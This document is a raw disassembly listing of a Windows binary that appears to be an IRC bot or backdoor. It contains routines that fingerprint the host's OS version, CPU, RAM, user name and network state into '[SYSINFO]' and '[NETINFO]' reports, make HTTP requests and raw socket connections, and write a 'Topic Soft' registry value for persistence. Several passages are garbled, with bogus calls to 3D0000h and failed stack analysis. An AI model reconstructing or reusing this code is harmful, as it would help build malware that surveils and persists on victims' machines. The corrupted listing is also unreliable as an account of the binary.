loc_40AA07: ; CODE XREF: sub_40A9FF+2Fj
; sub_40A9FF+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_421060 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_4172C0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_40AA07
jb short loc_40AA36
cmp ebx, esi
ja short loc_40AA07
loc_40AA36: ; CODE XREF: sub_40A9FF+31j
push 0
push 64h
push edi
push ebx
call sub_417240
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_40AAA9
jb short loc_40AA55
cmp esi, 50h
jnb short loc_40AA5A
loc_40AA55: ; CODE XREF: sub_40A9FF+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40AA5A: ; CODE XREF: sub_40A9FF+54j
test ecx, ecx
ja short loc_40AAA9
jb short loc_40AA65
cmp esi, 47h
jnb short loc_40AA6A
loc_40AA65: ; CODE XREF: sub_40A9FF+5Fj
push 42h
xor edx, edx
pop eax
loc_40AA6A: ; CODE XREF: sub_40A9FF+64j
test ecx, ecx
ja short loc_40AAA9
jb short loc_40AA75
cmp esi, 37h
jnb short loc_40AA7A
loc_40AA75: ; CODE XREF: sub_40A9FF+6Fj
push 32h
xor edx, edx
pop eax
loc_40AA7A: ; CODE XREF: sub_40A9FF+74j
test ecx, ecx
ja short loc_40AAA9
jb short loc_40AA85
cmp esi, 26h
jnb short loc_40AA8A
loc_40AA85: ; CODE XREF: sub_40A9FF+7Fj
push 21h
xor edx, edx
pop eax
loc_40AA8A: ; CODE XREF: sub_40A9FF+84j
test ecx, ecx
ja short loc_40AAA9
jb short loc_40AA95
cmp esi, 1Eh
jnb short loc_40AA9A
loc_40AA95: ; CODE XREF: sub_40A9FF+8Fj
push 19h
xor edx, edx
pop eax
loc_40AA9A: ; CODE XREF: sub_40A9FF+94j
test ecx, ecx
ja short loc_40AAA9
jb short loc_40AAA5
cmp esi, 0Ah
jnb short loc_40AAA9
loc_40AAA5: ; CODE XREF: sub_40A9FF+9Fj
xor eax, eax
xor edx, edx
loc_40AAA9: ; CODE XREF: sub_40A9FF+4Dj
; sub_40A9FF+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_40A9FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AAB5 proc near ; CODE XREF: seg000:0041225Ap
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_438F9C
mov [ebp+var_CC], 94h
call ds:dword_42110C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40AB3C
cmp [ebp+var_C4], ebx
jnz short loc_40AB18
cmp [ebp+var_BC], 1
jnz short loc_40AB02
mov [ebp+var_4], offset a95 ; "95"
loc_40AB02: ; CODE XREF: sub_40AAB5+44j
cmp [ebp+var_BC], 2
jnz loc_40ABB7
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_40AB88
; ---------------------------------------------------------------------------
loc_40AB18: ; CODE XREF: sub_40AAB5+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40AB2A
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_40AB7F
; ---------------------------------------------------------------------------
loc_40AB2A: ; CODE XREF: sub_40AAB5+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40AB78
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_40AB7F
; ---------------------------------------------------------------------------
loc_40AB3C: ; CODE XREF: sub_40AAB5+33j
cmp [ebp+var_C8], 5
jnz short loc_40AB78
cmp [ebp+var_C4], ebx
jnz short loc_40AB56
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_40AB7F
; ---------------------------------------------------------------------------
loc_40AB56: ; CODE XREF: sub_40AAB5+96j
cmp [ebp+var_C4], 1
jnz short loc_40AB68
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_40AB7F
; ---------------------------------------------------------------------------
loc_40AB68: ; CODE XREF: sub_40AAB5+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40AB7F
loc_40AB78: ; CODE XREF: sub_40AAB5+7Cj
; sub_40AAB5+8Ej
mov [ebp+var_4], offset dword_42B798
loc_40AB7F: ; CODE XREF: sub_40AAB5+73j
; sub_40AAB5+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40ABB7
loc_40AB88: ; CODE XREF: sub_40AAB5+61j
cmp [ebp+var_B8], bl
jz short loc_40ABB7
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_42B790
push eax
call sub_4154CD
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40ABB7: ; CODE XREF: sub_40AAB5+54j
; sub_40AAB5+D1j ...
mov ax, ds:word_42B78C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_43A264
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_40ABF0
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40ABF0: ; CODE XREF: sub_40AAB5+12Cj
push [ebp+arg_4]
call sub_40A155
pop ecx
push eax
call ds:dword_43A3B8 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_43A330 ; gethostbyaddr
cmp eax, ebx
jz short loc_40AC19
push dword ptr [eax]
jmp short loc_40AC1E
; ---------------------------------------------------------------------------
loc_40AC19: ; CODE XREF: sub_40AAB5+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40AC1E: ; CODE XREF: sub_40AAB5+162j
lea eax, [ebp+var_3E4]
push eax
call sub_4154CD
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 3D0000h
dec ebx
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 3D0000h
and al, 8Dh
test [esi+edi*8+466AFFFFh], esp
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 3D0000h
sub dword ptr [edx+20h], 53C8458Dh
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 3D0000h
cli
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417328
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40C30C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40A996
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40A155
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40C1FC
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40C1FC
pop ecx
pop ecx
push eax
call sub_40A9FF
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_415A4A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40AAB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD69 proc near ; CODE XREF: seg000:00411259p
; seg000:00412288p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_415550
add esp, 0Ch
cmp ds:dword_43A460, 0
jnz short loc_40ADDD
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_43A248 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_40ADBE
lea eax, [ebp+var_8C]
push offset dword_42B80C
push eax
call sub_4154CD
pop ecx
pop ecx
loc_40ADBE: ; CODE XREF: sub_40AD69+40j
test [ebp+var_C], 1
jz short loc_40ADD6
push offset dword_42B804
loc_40ADC9: ; CODE XREF: sub_40AD69+72j
lea eax, [ebp+var_8]
push eax
call sub_4154CD
pop ecx
pop ecx
jmp short loc_40ADFC
; ---------------------------------------------------------------------------
loc_40ADD6: ; CODE XREF: sub_40AD69+59j
push offset dword_42B800
jmp short loc_40ADC9
; ---------------------------------------------------------------------------
loc_40ADDD: ; CODE XREF: sub_40AD69+28j
mov esi, offset off_42B7FC
lea eax, [ebp+var_8]
push esi
push eax
call sub_4154CD
lea eax, [ebp+var_8C]
push esi
push eax
call sub_4154CD
add esp, 10h
loc_40ADFC: ; CODE XREF: sub_40AD69+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40A155
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_415A4A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40AD69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE2F proc near ; DATA XREF: seg000:0041142Eo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_42B950
call sub_415550
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_415550
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_415550
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_415550
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_415550
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call ds:dword_43A280 ; InternetCrackUrlA
test eax, eax
jz loc_40AFC9
cmp [ebp+var_34], ebx
jbe short loc_40AF06
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_416D20
add esp, 0Ch
loc_40AF06: ; CODE XREF: sub_40AE2F+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_40AF24
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_416D20
add esp, 0Ch
loc_40AF24: ; CODE XREF: sub_40AE2F+DEj
cmp [ebp+var_20], ebx
jbe short loc_40AF3E
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_416D20
add esp, 0Ch
loc_40AF3E: ; CODE XREF: sub_40AE2F+F8j
cmp [ebp+var_18], ebx
jbe short loc_40AF58
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_416D20
add esp, 0Ch
loc_40AF58: ; CODE XREF: sub_40AE2F+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push ds:dword_43A328
call ds:dword_43A34C ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_40AFE1
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call ds:dword_43A340 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_40AFE8
push ebx
push ebx
push ebx
push ebx
push eax
call ds:dword_43A2F4 ; HttpSendRequestA
test eax, eax
jz short loc_40AFC2
push offset dword_42B920
jmp short loc_40AFED
; ---------------------------------------------------------------------------
loc_40AFC2: ; CODE XREF: sub_40AE2F+18Aj
push offset unk_42B8D0
jmp short loc_40AFED
; ---------------------------------------------------------------------------
loc_40AFC9: ; CODE XREF: sub_40AE2F+B7j
lea eax, [ebp+var_55C]
push offset dword_42B8A0
push eax
call sub_4154CD
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_40AFFB
; ---------------------------------------------------------------------------
loc_40AFE1: ; CODE XREF: sub_40AE2F+153j
push offset unk_42B860
jmp short loc_40AFED
; ---------------------------------------------------------------------------
loc_40AFE8: ; CODE XREF: sub_40AE2F+17Bj
push offset unk_42B81C
loc_40AFED: ; CODE XREF: sub_40AE2F+191j
; sub_40AE2F+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_4154CD
pop ecx
pop ecx
loc_40AFFB: ; CODE XREF: sub_40AE2F+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_40B026
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_412D32
add esp, 14h
loc_40B026: ; CODE XREF: sub_40AE2F+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_40B151
pop ecx
push esi
call ds:dword_43A3AC ; InternetCloseHandle
push [ebp+var_4]
call ds:dword_43A3AC ; InternetCloseHandle
push [ebp+var_1D8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
das
pop edi
pop esi
pop ebx
sub_40AE2F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B059 proc near ; CODE XREF: seg000:0041118Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_43E788
mov edi, 0B8h
loc_40B06D: ; CODE XREF: sub_40B059+33j
cmp byte ptr [esi], 0
jz short loc_40B090
push [ebp+arg_0]
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40B090
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_43F308
jl short loc_40B06D
jmp short loc_40B0D2
; ---------------------------------------------------------------------------
loc_40B090: ; CODE XREF: sub_40B059+17j
; sub_40B059+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_43E788[esi]
push ebx
call sub_415550
push 17h
push [ebp+arg_0]
push ebx
call sub_416D20
push 9Fh
lea eax, dword_43E7A0[esi]
push [ebp+arg_4]
push eax
call sub_416D20
add esp, 24h
inc ds:dword_42E764
pop ebx
loc_40B0D2: ; CODE XREF: sub_40B059+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_40B059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0D9 proc near ; CODE XREF: seg000:004123C3p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_42B960
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 14h
xor edi, edi
mov esi, offset dword_43E788
loc_40B103: ; CODE XREF: sub_40B0D9+72j
cmp byte ptr [esi], 0
jz short loc_40B13E
lea eax, [esi+18h]
push eax
push esi
push edi
push offset dword_42B954
lea eax, [ebp+var_200]
push 200h
push eax
call sub_415A4A
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 2Ch
loc_40B13E: ; CODE XREF: sub_40B0D9+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_43F308
jl short loc_40B103
pop edi
pop esi
leave
retn
sub_40B0D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B151 proc near ; CODE XREF: start+97p
; seg000:004013C6p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_42105C ; GetLocalTime
mov ebx, offset dword_43E744
mov edi, 80h
mov esi, offset dword_43A744
loc_40B173: ; CODE XREF: sub_40B151+3Dj
cmp byte ptr [ebx], 0
jz short loc_40B18A
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_416D20
add esp, 0Ch
loc_40B18A: ; CODE XREF: sub_40B151+25j
sub ebx, edi
cmp ebx, esi
jge short loc_40B173
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_415A4A
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_40B151 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B1C5 proc near ; CODE XREF: sub_407BE2+15Bp
; sub_407D6A+1AFp ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_41746F
lea eax, [ebp+var_80]
push eax
call sub_40B151
add esp, 14h
leave
retn
sub_40B1C5 endp
; =============== S U B R O U T I N E =======================================
sub_40B1F1 proc near ; CODE XREF: seg000:004122BDp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_43A744
xor ecx, ecx
loc_40B1F8: ; CODE XREF: sub_40B1F1+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_43E744
jl short loc_40B1F8
cmp [esp+arg_C], ecx
push esi
mov esi, offset dword_42B994
jnz short loc_40B228
push ecx
push [esp+8+arg_8]
push esi
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_412D32
add esp, 14h
loc_40B228: ; CODE XREF: sub_40B1F1+1Fj
push esi
call sub_40B151
pop ecx
pop esi
retn
sub_40B1F1 endp
; =============== S U B R O U T I N E =======================================
sub_40B231 proc near ; CODE XREF: sub_4033CB+298p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_43A744
loc_40B237: ; CODE XREF: sub_40B231+27j
cmp byte ptr [esi], 0
jz short loc_40B24C
push [esp+4+arg_0]
push esi
call sub_409B26
pop ecx
test eax, eax
pop ecx
jnz short loc_40B25E
loc_40B24C: ; CODE XREF: sub_40B231+9j
add esi, 80h
cmp esi, offset dword_43E744
jl short loc_40B237
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B25E: ; CODE XREF: sub_40B231+19j
push 1
pop eax
pop esi
retn
sub_40B231 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B263 proc near ; DATA XREF: seg000:0041236Do
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_40B2B6
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset dword_42B9FC
push eax
push [ebp+var_11C]
call sub_412D32
add esp, 14h
loc_40B2B6: ; CODE XREF: sub_40B263+33j
cmp [ebp+var_98], 0
jz short loc_40B2D6
lea eax, [ebp+var_98]
push eax
call sub_415A3F
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_40B2D6
mov [ebp+var_8], eax
loc_40B2D6: ; CODE XREF: sub_40B263+5Aj
; sub_40B263+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_43A744
loc_40B2DF: ; CODE XREF: sub_40B263+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_40B339
cmp byte ptr [esi], 0
jz short loc_40B328
cmp [ebp+var_98], 0
jz short loc_40B30E
cmp [ebp+var_4], 0
jnz short loc_40B30E
lea eax, [ebp+var_98]
push eax
push esi
call sub_409B26
pop ecx
test eax, eax
pop ecx
jz short loc_40B328
loc_40B30E: ; CODE XREF: sub_40B263+90j
; sub_40B263+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_412D32
add esp, 14h
loc_40B328: ; CODE XREF: sub_40B263+87j
; sub_40B263+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_43E744
jl short loc_40B2DF
loc_40B339: ; CODE XREF: sub_40B263+82j
lea eax, [ebp+var_31C]
push offset dword_42B9CC
push eax
call sub_4154CD
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_40B373
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_412D32
add esp, 14h
loc_40B373: ; CODE XREF: sub_40B263+EEj
lea eax, [ebp+var_31C]
push eax
call sub_40B151
push [ebp+var_18]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
neg byte ptr [edi+5Eh]
sub_40B263 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B392 proc near ; CODE XREF: sub_409DF9+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_42BA20
xor esi, esi
mov ebx, offset aTopicSoft ; "Topic Soft"
loc_40B3A5: ; CODE XREF: sub_40B392+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call ds:dword_43A32C ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40B3DF
push [ebp+arg_0]
call sub_415CD0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call ds:dword_43A39C ; RegSetValueExA
jmp short loc_40B3E9
; ---------------------------------------------------------------------------
loc_40B3DF: ; CODE XREF: sub_40B392+2Fj
push ebx
push [ebp+var_4]
call ds:dword_43A2E4 ; RegDeleteValueA
loc_40B3E9: ; CODE XREF: sub_40B392+4Bj
push [ebp+var_4]
call ds:dword_43A354 ; RegCloseKey
add edi, 8
cmp edi, offset dword_42BA38
jl short loc_40B3A5
pop edi
pop esi
pop ebx
leave
retn
sub_40B392 endp
; =============== S U B R O U T I N E =======================================
sub_40B402 proc near ; CODE XREF: sub_40B43D+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_40B437
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_40B41B: ; CODE XREF: sub_40B402+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_42125C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_40B41B
pop edi
pop ebx
loc_40B437: ; CODE XREF: sub_40B402+Ej
mov eax, esi
pop esi
not eax
retn
sub_40B402 endp
; =============== S U B R O U T I N E =======================================
sub_40B43D proc near ; CODE XREF: seg000:0040BF1Dp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_415DA9
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_415BC8
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_40B48C
loc_40B462: ; CODE XREF: sub_40B43D+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_40B490
inc ebx
push ebx
push esi
call sub_4174BF
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_40B48C
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_416B90
add esp, 10h
jmp short loc_40B462
; ---------------------------------------------------------------------------
loc_40B48C: ; CODE XREF: sub_40B43D+23j
; sub_40B43D+39j
xor eax, eax
jmp short loc_40B4AB
; ---------------------------------------------------------------------------
loc_40B490: ; CODE XREF: sub_40B43D+29j
dec ebx
push ebx
push esi
call sub_40B402
push esi
mov ebx, eax
call sub_415E1D
push edi
call sub_415B20
add esp, 10h
mov eax, ebx
loc_40B4AB: ; CODE XREF: sub_40B43D+51j
pop edi
pop esi
pop ebx
retn
sub_40B43D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4AF proc near ; CODE XREF: seg000:0040B568p
; seg000:0040BB54p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_43A3F8 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_40B52B
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_43A378 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_43A3B8 ; inet_addr
cmp eax, esi
jnz short loc_40B510
push [ebp+arg_0]
call ds:dword_43A3FC ; gethostbyname
test eax, eax
jz short loc_40B52B
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_40B510: ; CODE XREF: sub_40B4AF+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_43A320 ; connect
cmp eax, esi
jnz short loc_40B52F
push edi
call ds:dword_43A410 ; closesocket
loc_40B52B: ; CODE XREF: sub_40B4AF+1Bj
; sub_40B4AF+58j
mov eax, esi
jmp short loc_40B531
; ---------------------------------------------------------------------------
loc_40B52F: ; CODE XREF: sub_40B4AF+73j
mov eax, edi
loc_40B531: ; CODE XREF: sub_40B4AF+7Ej
pop edi
pop esi
leave
retn
sub_40B4AF endp
; ---------------------------------------------------------------------------
loc_40B535: ; DATA XREF: seg000:0040D8B2o
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_415D50
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1B4h]
rep movsd
push 1
pop esi
push dword ptr [ebp-14h]
mov [eax+1B0h], esi
lea eax, [ebp-1ACh]
